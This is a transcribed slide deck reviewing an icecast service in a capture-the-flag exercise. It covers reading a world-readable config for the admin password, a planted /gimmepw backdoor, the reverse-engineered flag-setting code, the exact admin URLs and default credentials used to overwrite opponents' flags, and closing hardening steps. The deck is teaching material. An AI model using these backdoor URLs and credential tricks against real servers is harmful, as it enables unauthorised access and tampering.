CTF Review Icecast PowerPoint PPT Presentation

presentation player overlay
1 / 23
About This Presentation
Transcript and Presenter's Notes

Title: CTF Review Icecast


1
CTF Review Icecast
  • LCDR Chris Eagle

2
icecast
  • icecast is an open source streaming media server
  • Configured to listen on port 8000
  • Options in /usr/local/etc/icecast.xml

3
Exploiting icecast
  • Using file grabbing techniques previously
    discussed grab
  • /usr/local/etc/icecast.xml
  • World readable
  • Contains admin password!
  • Must understand how flag get/set works
  • By far the most complicated flag manipulation

4
How it works
  • We know that all services rest their flags on
    startup
  • Scan the game image for the icecast service flag
  • It turns up in the icecast binary
  • Similar to sfind and ftpd
  • It also turns up in a deleted file named sock.c
  • Part of the icecast distribution

5
sock.c
  • We find this
  • char g_client_hash "952d39447df93b625c8301ee553
    4d58e"
  • With g_client_hash used here
  • / sock_initialize
  • initializes the socket library. you must call
    this
  • before using the library!
  • /
  • void sock_initialize(void)
  • ifdef _WIN32
  • WSADATA wsad
  • WSAStartup(0x0101, wsad)
  • endif
  • int sockfd, i, j
  • resolver_initialize()
  • for (sockfd 0 sockfd lt 64 sockfd)

6
What Next?
  • We now become interested in
  • g_client_reference.clientsock
  • Where is it used?
  • Within sock.c, only in the function
    sock_register_response
  • Not called from any other location in sock.c
  • IdaPro disassembly indicates sock_register_respons
    e is called from 16 locations
  • More forensics yields a source file that contains
    16 calls to sock_register_response

7
sock_register_response
  • void sock_register_response(char response, int
    offset)
  • int offset_prev, threshold, limit
  • if (response NULL) return
  • offset_prev atoi(response)
  • threshold offset_prev / LOWER_BOUND
    //LOWER_BOUND 0x10
  • limit offset_prev LOWER_BOUND
  • if (threshold gt MAX_THRESHOLD)
    //MAX_THRESHOLD 0x09
  • threshold CLIENT_INCREMENT
    //CLIENT_INCREMENT 0x57, 'a' - 10
  • else
  • threshold SERVER_INCREMENT
    //SERVER_INCREMENT 0x30, '0'
  • if (limit gt MAX_THRESHOLD)
  • limit CLIENT_INCREMENT
  • else
  • limit SERVER_INCREMENT

8
sock_register_response
  • For those that have never seen it this converts a
    integer in the range 0..255 to its two character
    hex representation
  • It would take 16 calls to change the 32
    characters in the flag
  • All 16 calls take place through a function called
    admin_handle_request
  • Either directly or indirectly

9
Example
  • The calls below set characters 0-3 of the flag
  • sock_register_response(
  • httpp_get_query_param(
  • client-gtparser, subst_request("ielqgh4",
    output)),
  • 0)
  • sock_register_response(
  • httpp_get_query_param(
  • client-gtparser, subst_request("ielqgh5",
    output)),
  • 2)

10
Next Step
  • Now we need to know what the following two
    functions do
  • httpp_get_query_param
  • subst_request
  • We will guess that httpp_get_query_param
    retrieves the value of a specified parameter to
    an http request

11
subst_request
  • Fortunately this is in the same file as
    admin_handle_request
  • It simply subtracts a constant (3) from each
    character in the input
  • char subst_request(char input, char output)
  • int i
  • for (i 0 i lt strlen(input) i)
  • outputi (char) ((char) inputi
  • (char) COMMAND_RAW_SHOW_LISTENERS)
  • outputi '\0'
  • return output

12
Example Simplified
  • The previous calls equate to
  • sock_register_response(
    httpp_get_query_param("fbindex1"), 0)
  • sock_register_response(
    httpp_get_query_param("fbindex2), 2)
  • We might guess that we can set characters 0-3 in
    a flag by supplying query parameters fbindex1 and
    fbindex2 with an appropriate URL

13
Further Digging
  • We need to determine the conditions under which
    admin_handle_request gets called
  • We need to determine how the other 28 characters
    of the flag get set
  • It would be nice to know how the flag is read

14
Skipping Ahead
  • It takes 5 separate get requests to change all 32
    characters of the flag
  • Each one is unique and has its own preconditions
  • Trace admin_handle_request to understand
  • Source mount password allows changing of 24 of
    the 32 flag characters
  • User/pass source/hackme
  • Need admin password to change the other 8
  • But we got this through icecast.xml

15
Flag Reading
  • g_client_reference.clientsock also get referenced
    in a function named _handle_get_request
  • The top level function for handling incoming
    connections
  • Also the function that calls admin_handle_request
    when the uri begins with /admin/
  • Also contains a backdoor uri /gimmepw
  • Spits back the admin password

16
Flag Reading
  • //within _handle_get_request
  • if (strcmp(uri, "/flag") 0)
  • int i
  • char flag32
  • char message256
  • flag0 '\0'
  • for (i 0 i lt 32 i)
  • sprintf(flag, "sc", flag,
    g_client_reference.clientsocki)
  • sprintf(message,
  • "HTTP/1.0 200 OK\r\nnContent-Type
    text/html\r\n\r\ns\r\n",
  • flag)
  • sock_write(client-gtcon-gtsock, message)
  • client_destroy(client)
  • return

17
Access to admin_handle_request
  • //within _handle_get_request
  • / Dispatch all admin requests /
  • if (strncmp(uri, "/admin/", 7) 0)
  • printf(" admin function\n")
  • admin_handle_request(client, uri)
  • return

18
Back Door Password Access
  • //within _handle_get_request
  • if (strcmp(uri, "/gimmepw") 0)
  • ice_config_t config config_get_config()
  • char pass config-gtadmin_password
  • char message256
  • sprintf(message,
  • "HTTP/1.0 200 OK\r\nnContent-Type
    text/html\r\n\r\ns\r\n",
  • pass)
  • sock_write(client-gtcon-gtsock, message)
  • client_destroy(client)
  • return

19
URLs of Interest
  • http//other.team8000/flag
  • Read the flag
  • http//other.team8000/gimmepw
  • Get other teams admin password
  • This yielded the admin password, but caused
    icecast to hang in my testing
  • Because they fail to avl_tree_unlock
  • http//other.team8000/admin/xxxx
  • Access to various admin functions required for
    setting flag characters

20
URLs to Change Flag
  • Bytes 0/1
  • /admin/metadata?mountblafbindex1255fbindex22
    55
  • Bytes 2-5
  • /admin/metadata?mount/icesid255int255limit
    255halt255modeblasongbla
  • Bytes 6-9
  • /admin/listclients?mount/icesservice255stream
    id255minduration255maxduration255

21
URLs to Change Flag
  • Bytes 10-13
  • /admin/listmounts?streamid255format255intlimi
    t255extlimit255
  • Requires admin password
  • Bytes 14/15
  • /admin/killclient?mount/icessourceid255errorm
    sg255id1
  • In all cases replace the number 255 with the
    decimal representation of the hex value for the
    flag byte

22
icecast Strategies
  • With the admin password
  • Change the flag to our flag
  • We can't stop anyone else from doing the same
    thing
  • Without the admin password
  • Change only a couple bytes of the flag so that
    the team fails to score

23
Securing icecast
  • Change permissions on icecast.xml
  • Not world readable
  • Change source mount password in icecast.xml
  • Change othersource password for mount point /raw
    in icecast.xml
  • Remove backdoor gimmepw uri handling
  • Requires icecast source code! OR
  • Edit icecast binary to skip gimmepw handling
Write a Comment
User Comments (0)
About PowerShow.com